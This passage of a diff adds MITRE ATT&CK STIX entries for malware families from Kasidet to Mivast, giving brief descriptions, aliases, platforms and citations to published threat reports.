"http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:57.344Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Kasidet", + "x_mitre_aliases": [ + "Kasidet" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework. (Citation: Unit 42 Kazuar May 2017)", + "id": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "external_references": [ + { + "external_id": "S0265", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0265" + }, + { + "source_name": "Kazuar", + "description": "(Citation: Unit 42 Kazuar May 2017)" + }, + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "modified": "2019-04-24T15:26:03.457Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Kazuar", + "x_mitre_aliases": [ + "Kazuar" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016.(Citation: CitizenLab KeyBoy Nov 2016)(Citation: PWC KeyBoys Feb 2017)", + "id": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "external_references": [ + { + "external_id": "S0387", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0387" + }, + { + "source_name": "KeyBoy", + "description": "(Citation: PWC KeyBoys Feb 2017)(Citation: CitizenLab KeyBoy Nov 2016)(Citation: Rapid7 KeyBoy Jun 2013)" + }, + { + "source_name": "CitizenLab KeyBoy Nov 2016", + "description": "Hulcoop, A., et al. (2016, November 17). It\u2019s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019.", + "url": "https://citizenlab.ca/2016/11/parliament-keyboy/" + }, + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + }, + { + "source_name": "Rapid7 KeyBoy Jun 2013", + "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.", + "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-06-30T22:48:21.517Z", + "type": "malware", + "created": "2019-06-14T16:45:33.729Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "KeyBoy", + "labels": [ + "malware" + ], + "x_mitre_aliases": [ + "KeyBoy" + ], + "x_mitre_contributors": [ + "Bart Parys" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This piece of malware steals the content of the user's keychain while maintaining a permanent backdoor (Citation: OSX Keydnap malware).", + "id": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "external_references": [ + { + "external_id": "S0276", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0276" + }, + { + "source_name": "Keydnap", + "description": "(Citation: synack 2016 review)" + }, + { + "source_name": "OSX/Keydnap", + "description": "(Citation: OSX Keydnap malware)" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + }, + { + "source_name": "synack 2016 review", + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "macOS" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Keydnap", + "x_mitre_aliases": [ + "Keydnap", + "OSX/Keydnap" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Komplex](https://attack.mitre.org/software/S0162) is a backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be developed in a similar manner to [XAgentOSX](https://attack.mitre.org/software/S0161) (Citation: XAgentOSX 2017) (Citation: Sofacy Komplex Trojan).", + "id": "malware--f108215f-3487-489d-be8b-80e346d32518", + "external_references": [ + { + "external_id": "S0162", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0162" + }, + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "macOS" + ], + "modified": "2019-01-30T18:19:22.606Z", + "type": "malware", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Komplex", + "x_mitre_aliases": [ + "Komplex" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) is a backdoor Trojan used by [Orangeworm](https://attack.mitre.org/groups/G0071). It has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. (Citation: Symantec Orangeworm April 2018)", + "id": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "external_references": [ + { + "external_id": "S0236", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0236" + }, + { + "source_name": "Kwampirs", + "description": "(Citation: Symantec Orangeworm April 2018)" + }, + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Kwampirs", + "x_mitre_contributors": [ + "Elger Vinicius S. Rodrigues, @elgervinicius, CYBINT Centre" + ], + "x_mitre_aliases": [ + "Kwampirs" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LOWBALL](https://attack.mitre.org/software/S0042) is malware used by [admin@338](https://attack.mitre.org/groups/G0018). It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)", + "id": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", + "external_references": [ + { + "external_id": "S0042", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0042" + }, + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:33.348Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "LOWBALL", + "x_mitre_aliases": [ + "LOWBALL" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. [LightNeuron](https://attack.mitre.org/software/S0395) has been used by [Turla](https://attack.mitre.org/groups/G0010) to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of [LightNeuron](https://attack.mitre.org/software/S0395) exists.(Citation: ESET LightNeuron May 2019)", + "id": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "external_references": [ + { + "external_id": "S0395", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0395" + }, + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-07-16T17:12:00.360Z", + "type": "malware", + "created": "2019-06-28T13:09:26.710Z", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "name": "LightNeuron", + "x_mitre_aliases": [ + "LightNeuron" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Linfo](https://attack.mitre.org/software/S0211) is a rootkit trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)", + "id": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "external_references": [ + { + "external_id": "S0211", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0211" + }, + { + "source_name": "Linfo", + "description": "(Citation: Symantec Linfo May 2012)" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "Symantec Linfo May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Linfo", + "x_mitre_aliases": [ + "Linfo" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.(Citation: Anomali Linux Rabbit 2018)\n", + "id": "malware--0efefea5-78da-4022-92bc-d726139e8883", + "external_references": [ + { + "external_id": "S0362", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0362" + }, + { + "source_name": "Linux Rabbit", + "description": "(Citation: Anomali Linux Rabbit 2018)" + }, + { + "source_name": "Anomali Linux Rabbit 2018", + "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019.", + "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Linux" + ], + "modified": "2019-07-26T20:18:44.221Z", + "type": "malware", + "created": "2019-03-04T17:12:37.586Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Linux Rabbit", + "x_mitre_aliases": [ + "Linux Rabbit" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LoJax](https://attack.mitre.org/software/S0397) is a UEFI rootkit used by [APT28](https://attack.mitre.org/groups/G0007) to persist remote access software on targeted systems.(Citation: ESET LoJax Sept 2018)", + "id": "malware--b865dded-0553-4962-a44b-6fe7863effed", + "external_references": [ + { + "external_id": "S0397", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0397" + }, + { + "source_name": "LoJax", + "description": "(Citation: ESET LoJax Sept 2018)" + }, + { + "source_name": "ESET LoJax Sept 2018", + "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-07-02T20:53:26.470Z", + "type": "malware", + "created": "2019-07-02T12:58:09.598Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "LoJax", + "labels": [ + "malware" + ], + "x_mitre_aliases": [ + "LoJax" + ], + "x_mitre_contributors": [ + "Jean-Ian Boutin, ESET" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LockerGoga ](https://attack.mitre.org/software/S0372) is ransomware that has been tied to various attacks on European companies. It was first reported upon in January 2019.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)", + "id": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "external_references": [ + { + "external_id": "S0372", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0372" + }, + { + "source_name": "Unit42 LockerGoga 2019", + "description": "Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", + "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/" + }, + { + "source_name": "CarbonBlack LockerGoga 2019", + "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.", + "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/" + } + ], + "x_mitre_version": "1.1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-07-25T14:22:27.637Z", + "type": "malware", + "created": "2019-04-16T19:00:49.435Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "LockerGoga ", + "x_mitre_aliases": [ + "LockerGoga " + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lurid](https://attack.mitre.org/software/S0010) is a malware family that has been used by several groups, including [PittyTiger](https://attack.mitre.org/groups/G0011), in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)", + "id": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad", + "external_references": [ + { + "external_id": "S0010", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0010" + }, + { + "source_name": "Villeneuve 2014", + "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" + }, + { + "source_name": "Villeneuve 2011", + "description": "Villeneuve, N., Sancho, D. (2011). THE \u201cLURID\u201d DOWNLOADER. Retrieved November 12, 2014.", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:14.527Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Lurid", + "x_mitre_aliases": [ + "Lurid", + "Enfal" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) is a reconnaissance tool used by [Leviathan](https://attack.mitre.org/groups/G0065). (Citation: FireEye Periscope March 2018)", + "id": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "external_references": [ + { + "external_id": "S0233", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0233" + }, + { + "source_name": "MURKYTOP", + "description": "(Citation: FireEye Periscope March 2018)" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-22T23:25:33.378Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "MURKYTOP", + "x_mitre_aliases": [ + "MURKYTOP" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) is a malware-as-a-service offered on the darkweb (Citation: objsee mac malware 2017).", + "id": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "external_references": [ + { + "external_id": "S0282", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0282" + }, + { + "source_name": "MacSpy", + "description": "(Citation: objsee mac malware 2017)." + }, + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "macOS" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "MacSpy", + "x_mitre_aliases": [ + "MacSpy" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", + "id": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "external_references": [ + { + "external_id": "S0167", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0167" + }, + { + "source_name": "Matroyshka", + "description": "(Citation: ClearSky Wilted Tulip July 2017)" + }, + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + }, + { + "source_name": "CopyKittens Nov 2015", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Matroyshka", + "x_mitre_aliases": [ + "Matroyshka" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) is a remote access tool written in Delphi.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)", + "id": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "external_references": [ + { + "external_id": "S0339", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0339" + }, + { + "source_name": "Micropsia", + "description": "(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)" + }, + { + "source_name": "Talos Micropsia June 2017", + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + }, + { + "source_name": "Radware Micropsia July 2018", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-17T22:05:05.681Z", + "type": "malware", + "created": "2019-01-29T21:47:53.070Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "Micropsia", + "x_mitre_aliases": [ + "Micropsia" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)", + "id": "malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234", + "external_references": [ + { + "external_id": "S0133", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0133" + }, + { + "source_name": "Softpedia MinerC", + "description": "Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved October 12, 2016.", + "url": "http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:16.315Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Miner-C", + "x_mitre_aliases": [ + "Miner-C", + "Mal/Miner-C", + "PhotoMiner" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MiniDuke](https://attack.mitre.org/software/S0051) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. The [MiniDuke](https://attack.mitre.org/software/S0051) toolset consists of multiple downloader and backdoor components. The loader has been used with other [MiniDuke](https://attack.mitre.org/software/S0051) components as well as in conjunction with [CosmicDuke](https://attack.mitre.org/software/S0050) and [PinchDuke](https://attack.mitre.org/software/S0048). (Citation: F-Secure The Dukes)", + "id": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", + "external_references": [ + { + "external_id": "S0051", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0051" + }, + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:36.919Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "MiniDuke", + "x_mitre_aliases": [ + "MiniDuke" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MirageFox](https://attack.mitre.org/software/S0280) is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012. (Citation: APT15 Intezer June 2018)", + "id": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "external_references": [ + { + "external_id": "S0280", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0280" + }, + { + "source_name": "MirageFox", + "description": "(Citation: APT15 Intezer June 2018)" + }, + { + "source_name": "APT15 Intezer June 2018", + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "MirageFox", + "x_mitre_aliases": [ + "MirageFox" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) is a backdoor hybrid that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) in 2012. (Citation: Cylance Dust Storm)", + "id": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "external_references": [ + { + "external_id": "S0084", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0084" + }, + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:55.565Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Mis-Type", + "x_mitre_aliases": [ + "Mis-Type" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Misdat](https://attack.mitre.org/software/S0083) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2010 to 2011. (Citation: Cylance Dust Storm)", + "id": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "external_references": [ + { + "external_id": "S0083", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0083" + }, + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:55.126Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Misdat", + "x_mitre_aliases": [ + "Misdat" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mivast](https://attack.mitre.org/software/S0080) is a backdoor that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009). It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)", + "id": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "external_references": [ + { + "external_id": "S0080", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0080" + }, + { + "source_name": "Mivast", + "description": "(Citation: Symantec Black Vine) (Citation: Symantec Backdoor.Mivast)" + }, + { + "source_name": "Symantec Black Vine", + "description": "DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf" + }, + { + "source_name": "Symantec Backdoor.Mivast", + "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.", + "url": 